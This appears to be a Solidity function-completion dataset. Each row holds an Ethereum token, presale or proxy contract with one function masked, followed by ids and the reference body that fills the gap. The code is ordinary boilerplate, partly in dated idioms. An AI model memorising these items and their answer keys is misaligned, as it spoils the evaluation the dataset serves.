for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract PhiToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function PhiToken() public { symbol = "Phi"; name = "PhiCoin"; decimals = 10; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
59812
CsfERC20
null
contract CsfERC20 is Context, AccessControl, Ownable, ERC20Burnable, ERC20Pausable { using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol) {<FILL_FUNCTION_BODY> } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. * force setup DEFAULT_ADMIN_ROLE to owner, in case him has renounced DEFAULT_ADMIN_ROLE * beacuse he need to have almost DEFAULT_ADMIN_ROLE role to grant all role to the newOwner * Revoke all roles to the previous owner * Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the new owner */ function transferOwnership(address newOwner) public override onlyOwner { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(DEFAULT_ADMIN_ROLE, newOwner); grantRole(MINTER_ROLE, newOwner); grantRole(PAUSER_ROLE, newOwner); revokeRole(MINTER_ROLE, _msgSender()); revokeRole(PAUSER_ROLE, _msgSender()); revokeRole(DEFAULT_ADMIN_ROLE, _msgSender()); super.transferOwnership(newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public pure override { revert("CsfERC20: renounceOwnership function was disabled; please use transferOwnership"); } /** * @dev Throws if called by any account without `MINTER_ROLE`. */ modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "CsfERC20: MINTER role required"); _; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual onlyMinter { _mint(to, amount); } /** * @dev Throws if called by any account without `PAUSER_ROLE`. */ modifier onlyPauser() { require(hasRole(PAUSER_ROLE, _msgSender()), "CsfERC20: PAUSER role required"); _; } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual onlyPauser { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual onlyPauser { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); //addStakeholder(to); } }
contract CsfERC20 is Context, AccessControl, Ownable, ERC20Burnable, ERC20Pausable { using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); <FILL_FUNCTION> /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. * force setup DEFAULT_ADMIN_ROLE to owner, in case him has renounced DEFAULT_ADMIN_ROLE * beacuse he need to have almost DEFAULT_ADMIN_ROLE role to grant all role to the newOwner * Revoke all roles to the previous owner * Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the new owner */ function transferOwnership(address newOwner) public override onlyOwner { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(DEFAULT_ADMIN_ROLE, newOwner); grantRole(MINTER_ROLE, newOwner); grantRole(PAUSER_ROLE, newOwner); revokeRole(MINTER_ROLE, _msgSender()); revokeRole(PAUSER_ROLE, _msgSender()); revokeRole(DEFAULT_ADMIN_ROLE, _msgSender()); super.transferOwnership(newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public pure override { revert("CsfERC20: renounceOwnership function was disabled; please use transferOwnership"); } /** * @dev Throws if called by any account without `MINTER_ROLE`. */ modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "CsfERC20: MINTER role required"); _; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual onlyMinter { _mint(to, amount); } /** * @dev Throws if called by any account without `PAUSER_ROLE`. */ modifier onlyPauser() { require(hasRole(PAUSER_ROLE, _msgSender()), "CsfERC20: PAUSER role required"); _; } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual onlyPauser { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual onlyPauser { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); //addStakeholder(to); } }
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _setupDecimals(decimals); //Mint amount to the sender _mint(_msgSender(), initialAmount * (10 ** uint256(decimals)));
constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol)
/** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol)
68059
ProvidencePresale
ProvidencePresale
contract ProvidencePresale { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected address public wallet; // token address address addressOfTokenUsedAsReward; token tokenReward; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function ProvidencePresale() {<FILL_FUNCTION_BODY> } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; if(weiAmount < 1 * 10**18) throw; // calculate token amount to be sent uint256 tokens = (weiAmount) * 810; // update state weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { // wallet.transfer(msg.value); if (!wallet.send(msg.value)) { throw; } } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=wallet) throw; tokenReward.transfer(wallet,_amount); } }
contract ProvidencePresale { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected address public wallet; // token address address addressOfTokenUsedAsReward; token tokenReward; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); <FILL_FUNCTION> // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; if(weiAmount < 1 * 10**18) throw; // calculate token amount to be sent uint256 tokens = (weiAmount) * 810; // update state weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { // wallet.transfer(msg.value); if (!wallet.send(msg.value)) { throw; } } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=wallet) throw; tokenReward.transfer(wallet,_amount); } }
// ether address wallet = 0x2F81D169A4A773e614eC6958817Ed76381089615; // durationInMinutes = _durationInMinutes; addressOfTokenUsedAsReward = 0x50584a9bDfAb54B82e620b8a14cC082B07886841; tokenReward = token(addressOfTokenUsedAsReward); startTime = now; // now endTime = startTime + 14*24*60 * 1 minutes; //
function ProvidencePresale()
function ProvidencePresale()
68586
Marble
burn
contract Marble { // Public variables of the token string public name = "Marble"; string public symbol = "MARBLE"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Get balance for an address * * Returns the balance of given address * * @param _owner The address to return */ function balanceOf(address _owner) public constant returns (uint256 _balance) { return balanceOf[_owner]; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract Marble { // Public variables of the token string public name = "Marble"; string public symbol = "MARBLE"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Get balance for an address * * Returns the balance of given address * * @param _owner The address to return */ function balanceOf(address _owner) public constant returns (uint256 _balance) { return balanceOf[_owner]; } <FILL_FUNCTION> }
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success)
44520
Bronze_Core_Finance
transfer
contract Bronze_Core_Finance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Bronze Core Finance"; symbol = "BRCO"; decimals = 18; _totalSupply = 80000000000000000000000; balances[msg.sender] = 80000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract Bronze_Core_Finance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Bronze Core Finance"; symbol = "BRCO"; decimals = 18; _totalSupply = 80000000000000000000000; balances[msg.sender] = 80000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
function transfer(address to, uint tokens) public returns (bool success)
39882
InitializableModule
_governor
contract InitializableModule is InitializableModuleKeys { INexus public nexus; /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ function _initialize(address _nexus) internal { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); InitializableModuleKeys._initialize(); } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) {<FILL_FUNCTION_BODY> } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } /** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address) { return nexus.getModule(KEY_ORACLE_HUB); } /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } }
contract InitializableModule is InitializableModuleKeys { INexus public nexus; /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ function _initialize(address _nexus) internal { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); InitializableModuleKeys._initialize(); } <FILL_FUNCTION> /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } /** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address) { return nexus.getModule(KEY_ORACLE_HUB); } /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } }
return nexus.governor();
function _governor() internal view returns (address)
/** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address)
78589
DepositProxy
contract DepositProxy { address payable public account; address payable public paymentManager; constructor (address payable _account, address payable _paymentManager) public { account = _account; paymentManager = _paymentManager; } function () payable external {<FILL_FUNCTION_BODY> } }
contract DepositProxy { address payable public account; address payable public paymentManager; constructor (address payable _account, address payable _paymentManager) public { account = _account; paymentManager = _paymentManager; } <FILL_FUNCTION> }
address(account).transfer(msg.value); bytes memory empty; AbstractAccount(account).executeTransaction(paymentManager, msg.value, empty);
function () payable external
function () payable external
44268
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
8756
BTSToken
balanceOf
